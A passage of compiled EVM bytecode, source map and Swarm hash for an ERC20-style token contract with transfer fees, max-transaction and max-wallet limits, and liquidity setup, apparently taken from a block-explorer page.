60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045a565b6001600160a01b038216610a8f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045a565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b535760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045a565b6001600160a01b038216610bb55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045a565b5f8111610c165760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045a565b6012545f90600160b01b900460ff161580610c3a5750601254600160a81b900460ff165b15610cf2576001600160a01b0384165f90815260016020526040902054610c629083906116da565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610c9190839061162d565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ce49086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610d1c57505f546001600160a01b03848116911614155b15610f5657610d4d6064610d47600954600b5411610d3c57600554610d40565b6007545b8590611269565b906112ee565b6012549091506001600160a01b038581169116148015610d7b57506011546001600160a01b03848116911614155b8015610d9f57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e8557600c54821115610df65760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161045a565b600d5482610e18856001600160a01b03165f9081526001602052604090205490565b610e22919061162d565b1115610e705760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045a565b600b8054905f610e7f836116ed565b91905055505b6012546001600160a01b038481169116148015610eab57506001600160a01b0384163014155b15610ed857610ed56064610d47600a54600b5411610ecb57600654610d40565b6008548590611269565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610f0e57506012546001600160a01b038581169116145b8015610f235750601254600160b01b900460ff165b15610f54578015610f4b57610f4b610f4684610f4184600e5461132f565b61132f565b6110c2565b610f5447611232565b505b8015610fce57305f90815260016020526040902054610f759082611343565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fc59085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610ff090836113a1565b6001600160a01b0385165f9081526001602052604090205561103361101583836113a1565b6001600160a01b0385165f9081526001602052604090205490611343565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61107c85856113a1565b604051908152602001610ce4565b5f81848411156110ad5760405162461bcd60e51b815260040161045a919061140e565b505f6110b984866116da565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061110857611108611705565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561115f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111839190611675565b8160018151811061119657611196611705565b6001600160a01b0392831660209182029290920101526011546111bc91309116846109cc565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906111f49085905f90869030904290600401611719565b5f604051808303815f87803b15801561120b575f80fd5b505af115801561121d573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156105d2573d5f803e3d5ffd5b5f825f0361127857505f61035a565b5f6112838385611616565b905082611290858361178a565b146112e75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045a565b9392505050565b5f6112e783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113e2565b5f81831161133d57826112e7565b50919050565b5f8061134f838561162d565b9050838110156112e75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045a565b5f6112e783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061108a565b5f81836114025760405162461bcd60e51b815260040161045a919061140e565b505f6110b9848661178a565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611457575f80fd5b50565b5f806040838503121561146b575f80fd5b823561147681611443565b946020939093013593505050565b5f805f60608486031215611496575f80fd5b83356114a181611443565b925060208401356114b181611443565b929592945050506040919091013590565b5f602082840312156114d2575f80fd5b81356112e781611443565b5f80604083850312156114ee575f80fd5b82356114f981611443565b9150602083013561150981611443565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561156257815f190482111561154857611548611514565b8085161561155557918102915b93841c939080029061152d565b509250929050565b5f826115785750600161035a565b8161158457505f61035a565b816001811461159a57600281146115a4576115c0565b600191505061035a565b60ff8411156115b5576115b5611514565b50506001821b61035a565b5060208310610133831016604e8410600b84101617156115e3575081810a61035a565b6115ed8383611528565b805f190482111561160057611600611514565b029392505050565b5f6112e760ff84168361156a565b808202811582820484141761035a5761035a611514565b8082018082111561035a5761035a611514565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611685575f80fd5b81516112e781611443565b5f805f606084860312156116a2575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156116cb575f80fd5b815180151581146112e7575f80fd5b8181038181111561035a5761035a611514565b5f600182016116fe576116fe611514565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156117695784516001600160a01b031683529383019391830191600101611744565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826117a457634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209c5ac25d6c1b6cde916cc7a25daf913696fe9940fb363d30023510303e57fe5464736f6c63430008190033

Deployed Bytecode Sourcemap

3565:7509:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5377:83;;;;;;;;;;-1:-1:-1;5447:5:0;;;;;;;;;;;-1:-1:-1;;;5447:5:0;;;;5377:83;;;;5447:5;5377:83;:::i;:::-;;;;;;;;6210:161;;;;;;;;;;-1:-1:-1;6210:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6210:161:0;893:187:1;4497:45:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;4497:45:0;1085:177:1;5654:95:0;;;;;;;;;;;;;:::i;6379:375::-;;;;;;;;;;-1:-1:-1;6379:375:0;;;;;:::i;:::-;;:::i;5563:83::-;;;;;;;;;;-1:-1:-1;5563:83:0;;4197:1;1870:36:1;;1858:2;1843:18;5563:83:0;1728:184:1;5757:119:0;;;;;;;;;;-1:-1:-1;5757:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5850:18:0;5823:7;5850:18;;;:9;:18;;;;;;;5757:119;2137:148;;;;;;;;;;;;;:::i;:::-;;9022:159;;;;;;;;;;;;;:::i;4387:47::-;;;;;;;;;;;;;;;;1923:79;;;;;;;;;;-1:-1:-1;1961:7:0;1988:6;1923:79;;-1:-1:-1;;;;;1988:6:0;;;2315:51:1;;2303:2;2288:18;1923:79:0;2169:203:1;4441:49:0;;;;;;;;;;;;;;;;5884:167;;;;;;;;;;-1:-1:-1;5884:167:0;;;;;:::i;:::-;;:::i;9535:198::-;;;;;;;;;;-1:-1:-1;9535:198:0;;;;;:::i;:::-;;:::i;10448:623::-;;;;;;;;;;;;;:::i;9189:338::-;;;;;;;;;;;;;:::i;6059:143::-;;;;;;;;;;-1:-1:-1;6059:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6167:18:0;;;6140:7;6167:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6059:143;6210:161;6285:4;6302:39;1580:10;6325:7;6334:6;6302:8;:39::i;:::-;-1:-1:-1;6359:4:0;6210:161;;;;;:::o;5654:95::-;5707:7;4253:13;4197:1;4253:2;:13;:::i;:::-;4240:26;;:10;:26;:::i;:::-;5727:14;;5654:95;:::o;6379:375::-;6477:4;6494:36;6504:6;6512:9;6523:6;6494:9;:36::i;:::-;6548:4;;-1:-1:-1;;;;;6548:4:0;1580:10;6534:18;6531:63;;-1:-1:-1;;;;;6553:19:0;;;;;;:11;:19;;;;;;;;1580:10;6553:33;;;;;;;:41;;6588:6;;6553:19;:41;;6588:6;;6553:41;:::i;:::-;;;;-1:-1:-1;;6531:63:0;6605:119;6614:6;1580:10;6636:87;6672:6;6636:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6636:19:0;;;;;;:11;:19;;;;;;;;6656:10;6636:31;;;;;;;;;:87;:35;:87::i;:::-;6605:8;:119::i;:::-;-1:-1:-1;6742:4:0;6379:375;;;;;:::o;2137:148::-;2050:6;;-1:-1:-1;;;;;2050:6:0;1580:10;2050:22;2042:67;;;;-1:-1:-1;;;2042:67:0;;;;;;;:::i;:::-;;;;;;;;;2244:1:::1;2228:6:::0;;2207:40:::1;::::0;-1:-1:-1;;;;;2228:6:0;;::::1;::::0;2207:40:::1;::::0;2244:1;;2207:40:::1;2275:1;2258:19:::0;;-1:-1:-1;;;;;;2258:19:0::1;::::0;;2137:148::o;9022:159::-;2050:6;;-1:-1:-1;;;;;2050:6:0;1580:10;2050:22;2042:67;;;;-1:-1:-1;;;2042:67:0;;;;;;;:::i;:::-;4253:13:::1;4197:1;4253:2;:13;:::i;:::-;4240:26;::::0;:10:::1;:26;:::i;:::-;9075:12;:22:::0;4253:13:::1;4197:1;4253:2;:13;:::i;:::-;4240:26;::::0;:10:::1;:26;:::i;:::-;9108:14;:22:::0;9146:27:::1;4253:13;4197:1;4253:2;:13;:::i;:::-;4240:26;::::0;:10:::1;:26;:::i;:::-;9146:27;::::0;1231:25:1;;;1219:2;1204:18;9146:27:0::1;;;;;;;9022:159::o:0;5884:167::-;5962:4;5979:42;1580:10;6003:9;6014:6;5979:9;:42::i;9535:198::-;9621:7;;-1:-1:-1;;;;;9621:7:0;9607:10;:21;9599:30;;;;;;9645:10;:18;;-1:-1:-1;;;;;9645:18:0;;-1:-1:-1;;;;;;9645:18:0;;;;;;;;9640:4;:23;;;;;;;;;;9674:51;;9682:10;;9703:21;9674:51;;;;;9645:10;9674:51;9645:10;9674:51;9703:21;9682:10;9674:51;;;;;;;;;;;;;;;;;;;;;9535:198;:::o;10448:623::-;2050:6;;-1:-1:-1;;;;;2050:6:0;1580:10;2050:22;2042:67;;;;-1:-1:-1;;;2042:67:0;;;;;;;:::i;:::-;10512:11:::1;::::0;-1:-1:-1;;;10512:11:0;::::1;;;10511:12;10503:47;;;::::0;-1:-1:-1;;;10503:47:0;;5405:2:1;10503:47:0::1;::::0;::::1;5387:21:1::0;5444:2;5424:18;;;5417:30;5483:25;5463:18;;;5456:53;5526:18;;10503:47:0::1;5203:347:1::0;10503:47:0::1;10561:9;:74:::0;;-1:-1:-1;;;;;;10561:74:0::1;10592:42;10561:74:::0;;::::1;::::0;;;10646:52:::1;::::0;10663:4:::1;::::0;4253:13:::1;4197:1;4253:2;:13;:::i;:::-;4240:26;::::0;:10:::1;:26;:::i;10646:52::-;10737:9;;;;;;;;;-1:-1:-1::0;;;;;10737:9:0::1;-1:-1:-1::0;;;;;10737:17:0::1;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10719:49:0::1;;10777:4;10784:9;;;;;;;;;-1:-1:-1::0;;;;;10784:9:0::1;-1:-1:-1::0;;;;;10784:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10719:82;::::0;-1:-1:-1;;;;;;10719:82:0::1;::::0;;;;;;-1:-1:-1;;;;;6041:15:1;;;10719:82:0::1;::::0;::::1;6023:34:1::0;6093:15;;6073:18;;;6066:43;5958:18;;10719:82:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10709:7;:92:::0;;-1:-1:-1;;;;;10709:92:0;;::::1;-1:-1:-1::0;;;;;;10709:92:0;;::::1;;::::0;;10812:9:::1;::::0;::::1;:25;10845:21;10876:4;10882:24;10876:4:::0;-1:-1:-1;;;;;5850:18:0;5823:7;5850:18;;;:9;:18;;;;;;;5757:119;10882:24:::1;10907:1;10909::::0;10911:7:::1;1961::::0;1988:6;-1:-1:-1;;;;;1988:6:0;;1923:79;10911:7:::1;10812:123;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10812:123:0;;;-1:-1:-1;;;;;6479:15:1;;;10812:123:0::1;::::0;::::1;6461:34:1::0;6511:18;;;6504:34;;;;6554:18;;;6547:34;;;;6597:18;;;6590:34;6661:15;;;6640:19;;;6633:44;10919:15:0::1;6693:19:1::0;;;6686:35;6395:19;;10812:123:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10953:7:0::1;::::0;10978:9:::1;::::0;10946:59:::1;::::0;-1:-1:-1;;;10946:59:0;;-1:-1:-1;;;;;10978:9:0;;::::1;10946:59;::::0;::::1;7217:51:1::0;-1:-1:-1;;7284:18:1;;;7277:34;10953:7:0;::::1;::::0;-1:-1:-1;10946:23:0::1;::::0;7190:18:1;;10946:59:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11016:11:0::1;:18:::0;;-1:-1:-1;;;;11045:18:0;-1:-1:-1;;;11045:18:0;;;10448:623::o;9189:338::-;9252:10;;-1:-1:-1;;;;;9252:10:0;1580;-1:-1:-1;;;;;9238:24:0;;9230:33;;;;;;9313:4;9274:20;5850:18;;;:9;:18;;;;;;9333:14;;9330:64;;9361:21;9369:12;9361:7;:21::i;:::-;9423;9458:12;;9455:65;;9484:24;9497:10;9484:12;:24::i;6762:335::-;-1:-1:-1;;;;;6855:19:0;;6847:68;;;;-1:-1:-1;;;6847:68:0;;7806:2:1;6847:68:0;;;7788:21:1;7845:2;7825:18;;;7818:30;7884:34;7864:18;;;7857:62;-1:-1:-1;;;7935:18:1;;;7928:34;7979:19;;6847:68:0;7604:400:1;6847:68:0;-1:-1:-1;;;;;6934:21:0;;6926:68;;;;-1:-1:-1;;;6926:68:0;;8211:2:1;6926:68:0;;;8193:21:1;8250:2;8230:18;;;8223:30;8289:34;8269:18;;;8262:62;-1:-1:-1;;;8340:18:1;;;8333:32;8382:19;;6926:68:0;8009:398:1;6926:68:0;-1:-1:-1;;;;;7005:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7057:32;;1231:25:1;;;7057:32:0;;1204:18:1;7057:32:0;;;;;;;6762:335;;;:::o;7105:1909::-;-1:-1:-1;;;;;7193:18:0;;7185:68;;;;-1:-1:-1;;;7185:68:0;;8614:2:1;7185:68:0;;;8596:21:1;8653:2;8633:18;;;8626:30;8692:34;8672:18;;;8665:62;-1:-1:-1;;;8743:18:1;;;8736:35;8788:19;;7185:68:0;8412:401:1;7185:68:0;-1:-1:-1;;;;;7272:16:0;;7264:64;;;;-1:-1:-1;;;7264:64:0;;9020:2:1;7264:64:0;;;9002:21:1;9059:2;9039:18;;;9032:30;9098:34;9078:18;;;9071:62;-1:-1:-1;;;9149:18:1;;;9142:33;9192:19;;7264:64:0;8818:399:1;7264:64:0;7356:1;7347:6;:10;7339:64;;;;-1:-1:-1;;;7339:64:0;;9424:2:1;7339:64:0;;;9406:21:1;9463:2;9443:18;;;9436:30;9502:34;9482:18;;;9475:62;-1:-1:-1;;;9553:18:1;;;9546:39;9602:19;;7339:64:0;9222:405:1;7339:64:0;7453:11;;7416:17;;-1:-1:-1;;;7453:11:0;;;;7452:12;;:22;;-1:-1:-1;7468:6:0;;-1:-1:-1;;;7468:6:0;;;;7452:22;7448:217;;;-1:-1:-1;;;;;7509:15:0;;;;;;:9;:15;;;;;;:24;;7527:6;;7509:24;:::i;:::-;-1:-1:-1;;;;;7491:15:0;;;;;;;:9;:15;;;;;;:42;;;;7564:13;;;;;;;:22;;7580:6;;7564:22;:::i;:::-;-1:-1:-1;;;;;7548:13:0;;;;;;;:9;:13;;;;;;;:38;;;;7606:26;;;;;;;;;;7625:6;1231:25:1;;1219:2;1204:18;;1085:177;7606:26:0;;;;;;;;7647:7;7105:1909;;;:::o;7448:217::-;1961:7;1988:6;-1:-1:-1;;;;;7681:15:0;;;1988:6;;7681:15;;;;:32;;-1:-1:-1;1961:7:0;1988:6;-1:-1:-1;;;;;7700:13:0;;;1988:6;;7700:13;;7681:32;7677:979;;;7742:76;7814:3;7742:67;7764:15;;7754:9;;:25;7753:55;;7794:14;;7753:55;;;7781:12;;7753:55;7742:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7847:7;;7730:88;;-1:-1:-1;;;;;;7839:15:0;;;7847:7;;7839:15;:43;;;;-1:-1:-1;7872:9:0;;-1:-1:-1;;;;;7858:24:0;;;7872:9;;7858:24;;7839:43;:71;;;;-1:-1:-1;;;;;;7888:22:0;;;;;;:18;:22;;;;;;;;7886:24;7839:71;7835:301;;;7950:12;;7940:6;:22;;7932:60;;;;-1:-1:-1;;;7932:60:0;;9967:2:1;7932:60:0;;;9949:21:1;10006:2;9986:18;;;9979:30;10045:27;10025:18;;;10018:55;10090:18;;7932:60:0;9765:349:1;7932:60:0;8045:14;;8035:6;8019:13;8029:2;-1:-1:-1;;;;;5850:18:0;5823:7;5850:18;;;:9;:18;;;;;;;5757:119;8019:13;:22;;;;:::i;:::-;:40;;8011:79;;;;-1:-1:-1;;;8011:79:0;;10321:2:1;8011:79:0;;;10303:21:1;10360:2;10340:18;;;10333:30;10399:28;10379:18;;;10372:56;10445:18;;8011:79:0;10119:350:1;8011:79:0;8109:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7835:301;8161:7;;-1:-1:-1;;;;;8155:13:0;;;8161:7;;8155:13;:37;;;;-1:-1:-1;;;;;;8172:20:0;;8187:4;8172:20;;8155:37;8152:168;;;8225:79;8300:3;8225:70;8247:16;;8237:9;;:26;8236:58;;8279:15;;8236:58;;;8265:13;;8225:6;;:10;:70::i;:79::-;8213:91;;8152:168;8385:4;8336:28;5850:18;;;:9;:18;;;;;;8411:6;;-1:-1:-1;;;8411:6:0;;;;8410:7;:24;;;;-1:-1:-1;8427:7:0;;-1:-1:-1;;;;;8421:13:0;;;8427:7;;8421:13;8410:24;:39;;;;-1:-1:-1;8438:11:0;;-1:-1:-1;;;8438:11:0;;;;8410:39;8406:239;;;8474:24;;8471:104;;8517:58;8525:49;8529:6;8536:37;8540:20;8561:11;;8536:3;:37::i;:::-;8525:3;:49::i;:::-;8517:7;:58::i;:::-;8594:35;8607:21;8594:12;:35::i;:::-;7715:941;7677:979;8671:11;;8668:161;;8739:4;8721:24;;;;:9;:24;;;;;;:39;;8750:9;8721:28;:39::i;:::-;8714:4;8696:24;;;;:9;:24;;;;;;;:64;;;;8778:39;;-1:-1:-1;;;;;8778:39:0;;;;;;;8807:9;1231:25:1;;1219:2;1204:18;;1085:177;8778:39:0;;;;;;;;8668:161;-1:-1:-1;;;;;8857:15:0;;;;;;:9;:15;;;;;;:27;;8877:6;8857:19;:27::i;:::-;-1:-1:-1;;;;;8841:15:0;;;;;;:9;:15;;;;;:43;8909:40;8927:21;:6;8938:9;8927:10;:21::i;:::-;-1:-1:-1;;;;;8909:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8895:13:0;;;;;;;:9;:13;;;;;:54;;;;8965:41;;;8984:21;:6;8995:9;8984:10;:21::i;:::-;8965:41;;1231:25:1;;;1219:2;1204:18;8965:41:0;1085:177:1;2775:190:0;2861:7;2897:12;2889:6;;;;2881:29;;;;-1:-1:-1;;;2881:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2921:9:0;2933:5;2937:1;2933;:5;:::i;:::-;2921:17;2775:190;-1:-1:-1;;;;;2775:190:0:o;9947:456::-;4867:6;:13;;-1:-1:-1;;;;4867:13:0;-1:-1:-1;;;4867:13:0;;;10040:16:::1;::::0;;10054:1:::1;10040:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10040:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10040:16:0::1;10016:40;;10085:4;10067;10072:1;10067:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10067:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10111:9:::1;::::0;:16:::1;::::0;;-1:-1:-1;;;10111:16:0;;;;:9;;;::::1;::::0;:14:::1;::::0;:16:::1;::::0;;::::1;::::0;10067:7;;10111:16;;;;;:9;:16:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10101:4;10106:1;10101:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10101:26:0;;::::1;:7;::::0;;::::1;::::0;;;;;:26;10170:9:::1;::::0;10138:56:::1;::::0;10155:4:::1;::::0;10170:9:::1;10182:11:::0;10138:8:::1;:56::i;:::-;10205:9;::::0;:190:::1;::::0;-1:-1:-1;;;10205:190:0;;-1:-1:-1;;;;;10205:9:0;;::::1;::::0;:60:::1;::::0;:190:::1;::::0;10280:11;;10205:9:::1;::::0;10322:4;;10349::::1;::::0;10369:15:::1;::::0;10205:190:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4903:6:0;:14;;-1:-1:-1;;;;4903:14:0;;;-1:-1:-1;;;;9947:456:0:o;9847:92::-;9904:10;;:27;;-1:-1:-1;;;;;9904:10:0;;;;:27;;;;;9924:6;;9904:10;:27;:10;:27;9924:6;9904:10;:27;;;;;;;;;;;;;;;;;;;2973:246;3031:7;3055:1;3060;3055:6;3051:47;;-1:-1:-1;3085:1:0;3078:8;;3051:47;3108:9;3120:5;3124:1;3120;:5;:::i;:::-;3108:17;-1:-1:-1;3153:1:0;3144:5;3148:1;3108:17;3144:5;:::i;:::-;:10;3136:56;;;;-1:-1:-1;;;3136:56:0;;12287:2:1;3136:56:0;;;12269:21:1;12326:2;12306:18;;;12299:30;12365:34;12345:18;;;12338:62;-1:-1:-1;;;12416:18:1;;;12409:31;12457:19;;3136:56:0;12085:397:1;3136:56:0;3210:1;2973:246;-1:-1:-1;;;2973:246:0:o;3227:132::-;3285:7;3312:39;3316:1;3319;3312:39;;;;;;;;;;;;;;;;;:3;:39::i;9741:98::-;9798:7;9825:1;9823;:3;9822:9;;9830:1;9822:9;;;-1:-1:-1;9828:1:0;9741:98;-1:-1:-1;9741:98:0:o;2444:179::-;2502:7;;2534:5;2538:1;2534;:5;:::i;:::-;2522:17;;2563:1;2558;:6;;2550:46;;;;-1:-1:-1;;;2550:46:0;;12689:2:1;2550:46:0;;;12671:21:1;12728:2;12708:18;;;12701:30;12767:29;12747:18;;;12740:57;12814:18;;2550:46:0;12487:351:1;2631:136:0;2689:7;2716:43;2720:1;2723;2716:43;;;;;;;;;;;;;;;;;:3;:43::i;3367:189::-;3453:7;3488:12;3481:5;3473:28;;;;-1:-1:-1;;;3473:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3512:9:0;3524:5;3528:1;3524;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:315::-;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;1917:247::-;1976:6;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;2637:388::-;2705:6;2713;2766:2;2754:9;2745:7;2741:23;2737:32;2734:52;;;2782:1;2779;2772:12;2734:52;2821:9;2808:23;2840:31;2865:5;2840:31;:::i;:::-;2890:5;-1:-1:-1;2947:2:1;2932:18;;2919:32;2960:33;2919:32;2960:33;:::i;:::-;3012:7;3002:17;;;2637:388;;;;;:::o;3030:127::-;3091:10;3086:3;3082:20;3079:1;3072:31;3122:4;3119:1;3112:15;3146:4;3143:1;3136:15;3162:416;3251:1;3288:5;3251:1;3302:270;3323:7;3313:8;3310:21;3302:270;;;3382:4;3378:1;3374:6;3370:17;3364:4;3361:27;3358:53;;;3391:18;;:::i;:::-;3441:7;3431:8;3427:22;3424:55;;;3461:16;;;;3424:55;3540:22;;;;3500:15;;;;3302:270;;;3306:3;3162:416;;;;;:::o;3583:806::-;3632:5;3662:8;3652:80;;-1:-1:-1;3703:1:1;3717:5;;3652:80;3751:4;3741:76;;-1:-1:-1;3788:1:1;3802:5;;3741:76;3833:4;3851:1;3846:59;;;;3919:1;3914:130;;;;3826:218;;3846:59;3876:1;3867:10;;3890:5;;;3914:130;3951:3;3941:8;3938:17;3935:43;;;3958:18;;:::i;:::-;-1:-1:-1;;4014:1:1;4000:16;;4029:5;;3826:218;;4128:2;4118:8;4115:16;4109:3;4103:4;4100:13;4096:36;4090:2;4080:8;4077:16;4072:2;4066:4;4063:12;4059:35;4056:77;4053:159;;;-1:-1:-1;4165:19:1;;;4197:5;;4053:159;4244:34;4269:8;4263:4;4244:34;:::i;:::-;4314:6;4310:1;4306:6;4302:19;4293:7;4290:32;4287:58;;;4325:18;;:::i;:::-;4363:20;;3583:806;-1:-1:-1;;;3583:806:1:o;4394:140::-;4452:5;4481:47;4522:4;4512:8;4508:19;4502:4;4481:47;:::i;4539:168::-;4612:9;;;4643;;4660:15;;;4654:22;;4640:37;4630:71;;4681:18;;:::i;4712:125::-;4777:9;;;4798:10;;;4795:36;;;4811:18;;:::i;4842:356::-;5044:2;5026:21;;;5063:18;;;5056:30;5122:34;5117:2;5102:18;;5095:62;5189:2;5174:18;;4842:356::o;5555:251::-;5625:6;5678:2;5666:9;5657:7;5653:23;5649:32;5646:52;;;5694:1;5691;5684:12;5646:52;5726:9;5720:16;5745:31;5770:5;5745:31;:::i;6732:306::-;6820:6;6828;6836;6889:2;6877:9;6868:7;6864:23;6860:32;6857:52;;;6905:1;6902;6895:12;6857:52;6934:9;6928:16;6918:26;;6984:2;6973:9;6969:18;6963:25;6953:35;;7028:2;7017:9;7013:18;7007:25;6997:35;;6732:306;;;;;:::o;7322:277::-;7389:6;7442:2;7430:9;7421:7;7417:23;7413:32;7410:52;;;7458:1;7455;7448:12;7410:52;7490:9;7484:16;7543:5;7536:13;7529:21;7522:5;7519:32;7509:60;;7565:1;7562;7555:12;9632:128;9699:9;;;9720:11;;;9717:37;;;9734:18;;:::i;10474:135::-;10513:3;10534:17;;;10531:43;;10554:18;;:::i;:::-;-1:-1:-1;10601:1:1;10590:13;;10474:135::o;10746:127::-;10807:10;10802:3;10798:20;10795:1;10788:31;10838:4;10835:1;10828:15;10862:4;10859:1;10852:15;10878:980;11140:4;11188:3;11177:9;11173:19;11219:6;11208:9;11201:25;11245:2;11283:6;11278:2;11267:9;11263:18;11256:34;11326:3;11321:2;11310:9;11306:18;11299:31;11350:6;11385;11379:13;11416:6;11408;11401:22;11454:3;11443:9;11439:19;11432:26;;11493:2;11485:6;11481:15;11467:29;;11514:1;11524:195;11538:6;11535:1;11532:13;11524:195;;;11603:13;;-1:-1:-1;;;;;11599:39:1;11587:52;;11694:15;;;;11659:12;;;;11635:1;11553:9;11524:195;;;-1:-1:-1;;;;;;;11775:32:1;;;;11770:2;11755:18;;11748:60;-1:-1:-1;;;11839:3:1;11824:19;11817:35;11736:3;10878:980;-1:-1:-1;;;10878:980:1:o;11863:217::-;11903:1;11929;11919:132;;11973:10;11968:3;11964:20;11961:1;11954:31;12008:4;12005:1;11998:15;12036:4;12033:1;12026:15;11919:132;-1:-1:-1;12065:9:1;;11863:217::o

Swarm Source

ipfs://9c5ac25d6c1b6cde916cc7a25daf913696fe9940fb363d30023510303e57fe54
